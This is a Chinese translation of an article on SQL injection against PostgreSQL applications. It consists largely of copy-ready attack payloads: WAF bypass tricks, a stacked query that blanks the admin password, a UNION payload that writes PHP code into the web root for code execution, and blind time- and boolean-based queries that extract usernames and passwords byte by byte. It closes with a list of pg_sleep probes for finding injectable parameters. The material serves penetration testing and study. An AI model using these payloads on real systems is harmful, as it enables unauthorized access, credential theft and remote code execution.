SQL注入渗透PostgreSQL(bypass tricks)
2020-12-11 15:00:35 Author: xz.aliyun.com(查看原文) 阅读量:254 收藏

这篇文章主要围绕使用Postgres DMBS对应用程序中的SQL注入漏洞进行一般分析,利用和发现。

我们将研究Web应用程序防火墙的绕过方法,以及在不同的查询子句中泄漏数据的方法,例如SELECT,WHERE,ORDER BY,FROM等。

简要概述一下,PostgreSQL是:

[…] a free and open-source relational database management system emphasizing extensibility and technical standards compliance. It is designed to handle a range of workloads, from single machines to data warehouses or Web services with many concurrent users. - Wikipedia

免责声明:所有这些绕过和技术点试均已在PostgreSQL版本12.2和仅12.2上进行了测试

绕过方法

由于DBMS大部分都使用通用语言(SQL),因此基本功能和语法实际上是通用的。这意味着在DBMS上的绕过技巧可能会应用在不同的数据库中。例如,当SQL注入中的空格被waf时,您可以改用注释,例如:

查询: SELECT 1; 绕过: SELECT/**/1;

上面的示例在MySQL和PostgreSQL(本文围绕的DBMS数据库类型)中正常使用。

绕过分隔符

如上所示: /**/ == " "(不带引号,空格)

注入点后绕过多余的尾随数据

; -- -告诉查询忽略所有尾随数据,例如:SELECT 'admin' OR 1 = 1; -- -' FROM users;将变成SELECT 'admin' OR 1 = 1;

绕过引号的限制(*)

使用$符号: SELECT $$test$$;SELECT 'test';

如果连续的美元符号被阻止($$),那么您也可以在postgreSQL中使用标签,方法是将标签名称放在$符号之间: SELECT $quote$test$quote$;SELECT 'test';

同时我们也可以在字符串拼接的时候采取CHR()函数:

SELECT CHR(65)||CHR(66)||CHR(67)||CHR(68)||CHR(69)||CHR(70)||CHR(71)||CHR(72);等效于SELECT 'ABCDEFGH';

注意:您不能同时使用'$$ $quote$,因此,如果您需要转义以单引号开头的字符串,则将无法使用$$(即这种语句是无效的SELECT 'test$$;)

嵌套查询

PS.类似堆叠查询

有时,您很幸运得发现您的SQL注入点支持嵌套查询。这使您可以完全控制数据库执行什么操作(只要没有某种Web应用程序防火墙或过滤器)。

嵌套查询可以终止易受SQL注入攻击的查询,然后启动一个全新的查询(支持任何类型)。

例如: SELECT [INJECTION POINT] FROM users; 然后可以变成: SELECT ''; UPDATE users SET password = '' WHERE name = 'admin'; -- -' FROM users; 数据库会将其理解为:

SELECT ''; UPDATE users SET password = '' WHERE name = 'admin';这将会把用户表中管理员的密码设置为空且不会有任何的回显(请注意,如果应用程序之前对密码进行了哈希处理,则将管理员密码设置为空白将其插入数据库后,您将无法登录)

最终有效载荷为: '; UPDATE users SET password = '' WHERE name = 'admin'; -- -

为了深入分析以下负载,我们假定不允许嵌套查询。

不同子句的攻击方式

本节将假设不允许使用嵌套查询,并将演示一些其他可能提高严重性或通过blind注入和回显注入泄露数据的方法。

SELECT / UNION

如果您的注入点位于SELECT或UNION子句中,那么您很幸运。毫无疑问,这是最容易利用的"子句",因为" SELECT"子句的调用较早,这意味着您可以自行构建大部分SQL查询,从而为您提供几乎完全的灵活性。至于UNION子句,它可能是大多数有关如何在线利用的有效文档的子句之一。这意味着您很可能能够找到适合您的有效负载。

SELECT

我所说的"子句被较早调用"是指它通常是结构化语句中第一个被调用的子句,并且注入点通常是尽可能地从头开始。我们可以滥用它来基本上进行我们自己的查询。

例如(从"[INJECTION POINT]"开始我们可以控制任何东西): SELECT '[INJECTION POINT]';

用法 完整查询 载荷
追加数据到输出 SELECT '1' UNION SELECT 'a'; – -' 1' UNION SELECT 'a'; – -
通过PHP代码RCE SELECT ''UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; – -'; 'UNION SELECT 'MALICIOUS PHP CODE' \g /var/www/test.php; – -
时间盲注泄露字符 `SELECT '' pg_sleep((ASCII((SELECT 'a' LIMIT 1)) - 32) / 2); – -';` `' pg_sleep((ASCII((SELECT'a'LIMIT 1))-32)/2); – –`

UNION

除了数据应附加到输出末尾而不是清除输出,上一节的规则同样适用。

在这两种情况下,一个非常有用的运算符是连接运算符(||),因为它可用于将数据附加到同一行的输出中。

例如: SELECT ''||password FROM users; -- -';将从用户表中返回密码列。

WHERE

WHERE子句用于指定条件,以便DBMS对您要查找的内容有更清晰的了解。查询示例为:

SELECT * FROM users WHERE name = 'admin';

知道了这一点,并且事实上该子句在大部分时间也都出现在查询的早期,我们可以完成where子句,然后使用如上所示的UNION有效负载来进一步利用它,或者直接使用WHERE条件过滤数据。例如:

SELECT first_name FROM actor WHERE first_name = 'Gus';

能够变成:

SELECT first_name FROM actor WHERE first_name = ''||(SELECT 'Penelope'); -- -';

(ps.效果如上)

现在我们有了字符串的串联(通过||来串联字符),我们可以使用COUNT() 和 CASE WHEN将其转换为二进制查询。

这是我开发的有效负载,它利用了这样的思想:我们知道要用原始WHERE子句查询的表中的至少一个值。

SELECT first_name FROM actor WHERE first_name = ''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO '[BRUTEFORCE BYTE BY BYTE]%')))<>0 THEN 'Penelope' ELSE '' END);

现在,根据密码是否以我们要强行使用的字节开头(BRUTEFORCE BYTE BY BYTE),它将返回查询SELECT first_name FROM actor WHERE first_name = 'Penelope';的输出,否则输出SELECT first_name FROM actor WHERE first_name = '';的查询结果

然后,我们可以使用此信息泄露在数据库的其他表的全部字符串。

FROM

FROM子句用于确定我们从数据库的哪个部分中选择信息,通常是在将参数传递给SELECT子句之后。

对于此SQL注入,我们可以依赖基于可信时间盲注,除了将它作为表之外,我们需要为其命名。可以使用postgreSQL中的“ AS”子句来完成。

一个例子是: SELECT address FROM (SELECT * FROM address WHERE address=''||(pg_sleep(20))) ss;

我们可以使用它纯粹通过FROM子句窃取数据,如下所示:

(SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -

根据SELECT username FROM staff WHERE username SIMILAR TO 'M%'返回的内容与否,它会休眠20秒,或者什么也不做。可以逐字节fuzz数据。

最终查询payload如下:

SELECT address FROM (SELECT * FROM address WHERE address=''||(SELECT CASE WHEN (SELECT COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%')))<>0 THEN pg_sleep(20) ELSE '' END)) ss; -- -;

ORDER BY

仅在ORDER BY子句中窃取数据时,涉及条件就会相当复杂。我找到了该子句的两个有效参数(true和 false)-> order by true or order by false,然后嵌套了SELECT和CASE WHEN语句,直到我可以将"如果此表的密码字段以某个字节开头,然后睡眠20秒"转换为"true或false"

(SELECT CASE WHEN COUNT((SELECT (SELECT CASE WHEN COUNT((SELECT username FROM staff WHERE username SIMILAR TO 'M%'))<>0 THEN pg_sleep(20) ELSE '' END)))<>0 THEN true ELSE false END); -- -

为了进一步细分它,在一个完整的合法查询中,它看起来类似:

SELECT address FROM address ORDER BY (
    SELECT CASE WHEN COUNT((
        SELECT (
            SELECT CASE WHEN COUNT((
                SELECT username FROM staff WHERE username SIMILAR TO 'M%'))
            <>0 THEN pg_sleep(20) ELSE '' END)
        ))
    <>0 THEN true ELSE false END); -- -

下面将对该查询的过程进行尝试性的解释:

  1. 如果第一个COUNT函数没有返回零,那么对于ORDER BY,我们得到最终的true或false。
  2. 正确或错误取决于内部选择(第二个查询是核心判断的)。
  3. 内部选择将休眠20秒,或者什么也不返回。
  4. 这取决于人员表中用户的首字母是否以M开头(这是SELECT username FROM staff WHERE username SIMILAR TO 'M%'部分)。

OFFSET

此子句允许您仅检索由其余查询生成的一部分行。OFFSET将从输出的行的开头删除分配给它的行数,而LIMIT则从末尾删除它们。

如果在返回大量数据的某种东西中发现了这种SQL注入,则可以使用从输出开头删除的行数来确定字符串的长度,甚至可以通过将字符转换为ASCII码来确定字符的长度。

例如,使用LENGTH函数: dvdrental=# SELECT address FROM address OFFSET 0;将返回:

47 MySakila Drive
 28 MySQL Boulevard
 23 Workhaven Lane
 1411 Lillydale Drive
 1913 Hanoi Way
 1121 Loja Avenue
 692 Joliet Street
 1566 Inegl Manor
 53 Idfu Parkway
 1795 Santiago de Compostela Way
 900 Santiago de Compostela Parkway
 478 Joliet Way
 613 Korolev Drive
 1531 Sal Drive
 1542 Tarlac Parkway

因此,我们现在可以按照以下方式进行操作: SELECT address FROM address OFFSET 0|(SELECT LENGTH((SELECT username FROM staff WHERE username SIMILAR TO 'M%')));

1913 Hanoi Way
 1121 Loja Avenue
 692 Joliet Street
 1566 Inegl Manor
 53 Idfu Parkway
 1795 Santiago de Compostela Way
 900 Santiago de Compostela Parkway
 478 Joliet Way
 613 Korolev Drive
 1531 Sal Drive
 1542 Tarlac Parkway

因此,我们可以看到输出中的前四行已被删除,这意味着工作人员表中以 "M"开头的用户名长度为4个字符。

此外,基于OFFSET子句是否删除行,我们可以逐字节地尝试增加字符。像这样: SELECT address FROM address OFFSET 0+(SELECT LENGTH((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1)));

这样会将要删除的行数设置为0 +(以“ 8”开头的密码长度),因此,如果存在以8开头的密码,我们将看到返回的行数有所不同。这可以用来进一步检查每个字节,直到我们检索到整个密码值为止。

HAVING

此参数接受一个条件,因此我添加了一个AND运算符以使之必须都为真,然后添加了条件,该条件将使我们可以逐字节对值进行暴力破解。

t' AND (SELECT COUNT((SELECT password FROM staff WHERE password SIMILAR TO '8%' LIMIT 1))) = 1; -- -

同样,如果未显示输出,则可以使pg_sleep()函数的大部分时间睡眠(如果为true)20秒钟,并使用它来确定条件输出。

快速测试漏洞

这些都是可以用于参数测试漏洞的导致应用程序进入睡眠状态并延迟响应时间并且快速有效payload。如果服务器响应时间随着有效负载而增加了明显的时间(大约20秒),则意味着应用程序容易受到攻击。

SELECT

如果parameter是整数:

pg_sleep(20); -- -

如果参数是字符串:

'||pg_sleep(20); -- -

FROM

仅当有效负载的第一个SELECT子句中提供了有效的表名(TABLE)和列(COLUMN)时,这才有效

(SELECT * FROM [TABLE] WHERE [COLUMN]=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

或者

(SELECT * FROM [TABLE] WHERE [COLUMN] = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

最后的"ss"是必要的,但可以是任何非保留字.

当已知列需要一个Int

示例:

(SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

完整查询

SELECT address FROM (SELECT * FROM address WHERE address_id=1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

当已知列需要字符串时

示例:

(SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

完整查询:

SELECT address FROM (SELECT * FROM address WHERE address = 'asd'::varchar||(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END))) ss; -- -

WHERE

如果parameter是整数:

1|(SELECT (SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN 1 ELSE 2 END)); -- -

如果parameter是字符串:

ORDER BY

注意,此操作实际上不会更改依赖于布尔型输出的输出顺序,因此一定要触发pg_sleep(20)

(SELECT CASE WHEN COUNT((SELECT pg_sleep(20)))<>0 THEN true ELSE false END); -- -

HAVING

如果parameter是整数:

(COUNT((SELECT pg_sleep(20)))=1); -- -

如果parameter是字符串:

t' AND (SELECT COUNT((SELECT pg_sleep(20)))) = 1; -- -

OFFSET

如果parameter是整数:

1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -

如果parameter是字符串,请使用":: integer"将值转换为int字符串,然后使用与上述相同的有效负载(*tricks)

1'::integer + 1|(SELECT COUNT((SELECT pg_sleep(20)))); -- -

结论

总之,尽管我注意到该特定引擎缺少公开的SQL注入有效负载,但许多技术和方法已从其他DBMS转移到了postgreSQL。

正如我以前从未接触过postgreSQL一样,我认为这将是一个很好的机会,可以扩展我的技术知识,并且使自己熟悉此DBMS可能具有,而其他DBMS则不可能具有的功能。

参考文献

PS:
本文为翻译文章:
原文链接:pentesting-postgresql-with-sql-injections


文章来源: http://xz.aliyun.com/t/8621
如有侵权请联系:admin#unsafe.sh